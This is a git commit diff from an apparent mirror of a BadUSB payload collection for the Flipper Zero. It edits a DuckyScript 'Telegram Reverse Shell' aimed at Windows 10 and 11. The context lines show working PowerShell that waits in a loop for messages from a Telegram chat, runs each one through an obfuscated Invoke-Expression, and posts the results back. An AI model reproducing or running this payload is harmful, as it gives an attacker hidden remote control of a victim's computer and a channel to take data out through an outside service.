mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-25 12:24:56 -08:00
Update Telegram Reverse Shell.txt
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
REM Title: Simple Telegram Reverse Shell
|
||||
REM Author: @beigeworm
|
||||
REM Description: This script connects target computer with a telegram chat to send powershell commands.
|
||||
REM Description: A script that connects target computer with a telegram chat to send powershell commands.
|
||||
REM The script will wait in a loop until you interact with it later on via telegram.
|
||||
REM Target: Windows 10,11
|
||||
|
||||
REM SETUP INSTRUCTIONS
|
||||
@@ -54,4 +55,4 @@ STRING ;Sleep 3;While ($true){sleep 2;$messages=rtgmsg;if($LastUmsg -like $null)
|
||||
STRING ;if(($CheckAuthentication -ne 0) -and ($messages.message.text -notlike $PassPhrase) -and ($messages.message.date -ne $LastmsgID)){try{$Result=ie`x($messages.message.text) -ErrorAction Stop;$Result
|
||||
STRING ;stgmsg -Messagetext $Result -ChatID $messages.message.chat.id}catch{stgmsg -Messagetext ($_.exception.message) -ChatID $messages.message.chat.id}Finally{$LastmsgID=$messages.message.date}}}};sleep 5;exit
|
||||
|
||||
ENTER
|
||||
ENTER
|
||||
|
||||
Reference in New Issue
Block a user